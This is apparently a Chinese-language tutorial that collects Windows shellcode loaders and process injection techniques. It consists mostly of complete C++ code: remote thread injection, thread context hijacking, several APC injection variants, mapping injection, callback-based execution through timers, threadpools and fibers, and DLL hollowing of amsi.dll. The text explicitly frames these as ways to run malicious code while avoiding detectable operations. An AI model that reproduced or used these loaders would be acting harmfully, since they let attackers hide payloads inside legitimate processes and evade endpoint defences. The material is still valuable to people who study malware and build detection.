shellcode 执行
指针执行
1 2 3 4 5 6 7
| #include <iostream> #include <Windows.h> #pragma comment(linker, "/section:.data,RWE") int main() { ((void(*)(void)) & hexData)(); }
|
#pragma comment(linker, "/section:.data,RWE"):这是一个编译器指令,告诉链接器对.data段进行特殊处理。
int main():
(void(*)(void)):这里定义了一个函数指针。void(*)(void)表示这是一个指针,指向返回类型为void、不带参数的函数。
&hexData:假设这是数据段中的某个数据或代码块的地址(hexData),这段代码将hexData的地址强制转换为函数指针的形式。
((void(*)(void)) &hexData)();:通过这个函数指针调用hexData指向的代码。这就是在执行嵌入在数据段中的“代码”部分。
线程执行
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <iostream> #include <Windows.h> #pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") int main() { LPVOID pAddress = VirtualAlloc(NULL, sizeof(shellCode),MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlCopyMemory(pAddress, shellCode, sizeof(shellCode)); HANDLE handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddress, NULL, 0, NULL); WaitForSingleObject(handle, INFINITE); CloseHandle(handle); }
|
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\""):
VirtualAlloc():用于在进程的虚拟地址空间中分配一块内存。
进程执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void NewProcessUB() { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcess(TEXT("./UB.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { exit(-1); } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
STARTUPINFO si:用于指定新进程的启动信息,例如窗口大小、位置等。在这个例子中,它被初始化为默认值。
PROCESS_INFORMATION pi:用于接收新进程和线程的句柄,以及进程和线程ID。
ZeroMemory():清空结构体内存,确保初始化时没有残留数据。
CreateProcess():用于创建一个新的进程,此处尝试启动"./UB.exe"。如果成功,pi将包含新进程和新线程的句柄;如果失败,程序将退出。
CloseHandle():在成功创建进程后,关闭进程和线程的句柄,释放相关的资源。
远程线程注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| #include <iostream> #include <Windows.h> #include <TlHelp32.h>
DWORD getInjectProcess(wchar_t* name) { PROCESSENTRY32 lppe = { sizeof(lppe) }; HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if (handle != INVALID_HANDLE_VALUE) { BOOL ret = Process32First(handle, &lppe); while (ret) { if (!wcscmp(name, lppe.szExeFile)) { CloseHandle(handle); std::cout << "Get Process ID: " << lppe.th32ProcessID << std::endl; return lppe.th32ProcessID; } ret = Process32Next(handle, &lppe); } } CloseHandle(handle); return -1; } int main() { wchar_t name[] = L"Notepad.exe"; int processId = getInjectProcess(name);
if (processId < 0) { std::cout << "Get Process Error" << std::endl; exit(-1); }
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, true, processId); if (!process) { std::cout << "OpenProcess Error" << std::endl; exit(-1); }
LPVOID lpAddress = VirtualAllocEx(process, NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpAddress) { std::cout << "VirtualAllocEx Error" << std::endl; exit(-1); }
WriteProcessMemory(process, lpAddress, shellCode, sizeof(shellCode), NULL);
HANDLE hProcess = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, NULL);
WaitForSingleObject(hProcess, INFINITE);
CloseHandle(process); CloseHandle(hProcess); }
|
远程线程劫持
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| #include <iostream> #include <Windows.h>
int main() { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CONTEXT ctx = { 0 }; wchar_t cmdLine[] = L"C:\\Windows\\System32\\notepad.exe";
CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
SuspendThread(pi.hThread);
LPVOID lpAddress = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpAddress, shellCode, sizeof(shellCode), NULL);
ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpAddress;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } wchar_t cmdLine[] = L"C:\\Windows\\System32\\notepad.exe";
|
wchar_t: 这是一个宽字符类型,用于表示更大的字符集,支持Unicode字符集。相比于普通的char类型,wchar_t可以处理多字节字符,从而支持多种语言和特殊符号。
cmdLine[]: 这是一个字符数组,用于存储字符串。在这里,它用来存储将要执行的程序路径。
L"...": 前缀L表示字符串是一个宽字符字符串,即Unicode格式。它确保字符串中的每个字符都是宽字符。
C:\\Windows\\System32\\notepad.exe: 这是要启动的程序的完整路径,指向Windows系统中的记事本应用程序。双反斜杠\\用于转义字符,确保路径在字符串中正确表示。
APC 注入
APC(异步过程调用)注入是一种在Windows操作系统中通过异步过程调用向目标进程注入代码的技术。APC允许一个线程在某个目标线程的上下文中执行代码,而不需要直接修改目标进程的内存。
QueueUserAPC 函数的定义:
1 2 3 4 5
| DWORD QueueUserAPC( [in] PAPCFUNC pfnAPC, [in] HANDLE hThread, [in] ULONG_PTR dwData );
|
pfnAPC:指向 APC 函数的指针,当指定线程执行可警报等待操作时,将调用该函数。
hThread:线程的句柄。该句柄必须具有 THREAD_SET_CONTEXT 访问权限。
dwData:传递给pfnAPC参数指向的 APC 函数的单个值。一般设置为 NULL
使用 QueueUserApc 函数向指定线程的 APC 队列中插入回 调,然后当线程唤醒的时候,就会优先去 APC 队列中调用回调函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| #include <iostream> #include <Windows.h> #include <TlHelp32.h> #include <vector>
static DWORD getInjectProcess(HANDLE snapshot, wchar_t* name) { PROCESSENTRY32 lppe = { sizeof(lppe) }; if (snapshot != INVALID_HANDLE_VALUE) { BOOL ret = Process32First(snapshot, &lppe); while (ret) { if (!wcscmp(name, lppe.szExeFile)) { std::cout << "Get Process ID: " << lppe.th32ProcessID << std::endl; return lppe.th32ProcessID; } ret = Process32Next(snapshot, &lppe); } } return -1; }
static std::vector<DWORD> getInjectThread(HANDLE snapshot, DWORD processId) { std::vector<DWORD> threadIds; THREADENTRY32 lpte = { sizeof(lpte) }; if (snapshot != INVALID_HANDLE_VALUE) { BOOL ret = Thread32First(snapshot, &lpte); while (ret) { if (lpte.th32OwnerProcessID == processId) { std::cout << "Get Thread ID: " << lpte.th32ThreadID << std::endl; threadIds.push_back(lpte.th32ThreadID); } ret = Thread32Next(snapshot, &lpte); } } return threadIds; }
int main() { wchar_t name[] = L"Notepad.exe"; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); int processId = getInjectProcess(snapshot, name);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processId); if (!process) { std::cout << "OpenProcess Error" << std::endl; exit(-1); }
LPVOID lpAddress = VirtualAllocEx(process, NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpAddress) { std::cout << "VirtualAllocEx Error" << std::endl; exit(-1); }
WriteProcessMemory(process, lpAddress, shellCode, sizeof(shellCode), NULL);
std::vector<DWORD> threadIds = getInjectThread(snapshot, processId); if (!threadIds.empty()) { for (DWORD threadId : threadIds) { HANDLE thread = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)lpAddress, thread, NULL); SleepEx(2000, TRUE); CloseHandle(thread); } } CloseHandle(snapshot); CloseHandle(process); }
|
通过 ResumeThread 函数恢复线程的执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| #include <iostream> #include <windows.h>
int main() { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; wchar_t cmdLine[] = L"C:\\Windows\\System32\\notepad.exe";
CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID lpAddress = VirtualAllocEx(pi.hProcess, NULL,sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpAddress, shellCode, sizeof(shellCode), NULL);
QueueUserAPC((PAPCFUNC)lpAddress, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
直接利用 NtTestAlert 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #include <iostream> #include <windows.h>
typedef VOID(NTAPI* pNtTestAlert)();
int main() { pNtTestAlert myNtTestAlert =(pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert");
LPVOID lpAddress = VirtualAlloc(NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(lpAddress, shellCode, sizeof(shellCode)); QueueUserAPC((PAPCFUNC)lpAddress, GetCurrentThread(), NULL);
myNtTestAlert(); }
|
映射注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| #include <iostream> #include <windows.h> #pragma comment (lib, "OneCore.lib")
int main() { STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 };
HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellCode), NULL);
LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellCode));
memcpy((PVOID)lpMapAddress, shellCode, sizeof(shellCode));
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, pi.hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ); QueueUserAPC((PAPCFUNC)lpMapAddressRemote, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(hMapping); UnmapViewOfFile(lpMapAddress);
return 0; }
|
回调函数
简单理解回调函数就是能够将另外一个函数当作参数带入,那么只需要将 shellcode 的地址代替 传入的函数参数,就可以执行恶意代码。这种方式能够避免创建线程等敏感操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include <iostream> #include <windows.h> #include <stdio.h>
int main() { HANDLE phNewTimer = NULL; HANDLE timeQueue = CreateTimerQueue();
HANDLE event = CreateEvent(NULL, TRUE, FALSE, NULL);
LPVOID lpAddress = VirtualAlloc(NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(lpAddress, shellCode, sizeof(shellCode));
CreateTimerQueueTimer(&phNewTimer, timeQueue, (WAITORTIMERCALLBACK)lpAddress, NULL, 2000, 0, 0);
WaitForSingleObject(event, INFINITE); }
|
线程池执行
涉及到了三个函数 CreateThreadpoolWait(创建一个线程池)、SetThreadpoolWait(等待线 程池触发)、CreateEventA(创建一个事件)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include <iostream> #include <windows.h> #include <stdio.h>
int main() { DWORD oldProtect;
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
VirtualProtect((LPVOID)shellCode, sizeof(shellCode), PAGE_EXECUTE_READWRITE, &oldProtect);
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)shellCode, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE); }
|
纤程执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| #include <iostream> #include <Windows.h>
int main() { DWORD oldProtect;
VirtualProtect((LPVOID)shellCode, sizeof(shellCode), PAGE_EXECUTE_READWRITE, &oldProtect);
ConvertThreadToFiber(NULL);
LPVOID fiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)shellCode, NULL);
SwitchToFiber(fiber);
DeleteFiber(fiber); }
|
DLL 镂空
注入流程:
远程注入一个系统
DLL 定位该模块的入口地址
shellcode 复写入口点
创建远程线程执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| #include <iostream> #include <Windows.h> #include <psapi.h>
char shellcode[] = "";
int main(int argc, char* argv[]) { TCHAR ModuleName[] = L"C:\\windows\\system32\\amsi.dll"; HMODULE hModules[256] = {}; SIZE_T hModulesSize = sizeof(hModules); DWORD hModulesSizeNeeded = 0; DWORD moduleNameSize = 0; SIZE_T hModulesCount = 0; CHAR rModuleName[128] = {}; HMODULE rModule = NULL;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2924);
LPVOID lprBuffer = VirtualAllocEx(hProcess, NULL, sizeof(ModuleName), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lprBuffer, (LPVOID)ModuleName, sizeof(ModuleName), NULL);
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
HANDLE dllThread = CreateRemoteThread(hProcess, NULL, 0, threadRoutine, lprBuffer, 0, NULL);
WaitForSingleObject(dllThread, 1000);
EnumProcessModules(hProcess, hModules, hModulesSize, &hModulesSizeNeeded);
hModulesCount = hModulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < hModulesCount; i++) { rModule = hModules[i]; GetModuleBaseNameA(hProcess, rModule, rModuleName, sizeof(rModuleName));
if (std::string(rModuleName).compare("amsi.dll") == 0) { break; } }
DWORD headerBufferSize = 0x1000; LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
ReadProcessMemory(hProcess, rModule, peHeader, headerBufferSize, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peHeader; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader + dosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)rModule);
WriteProcessMemory(hProcess, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
return 0; }
|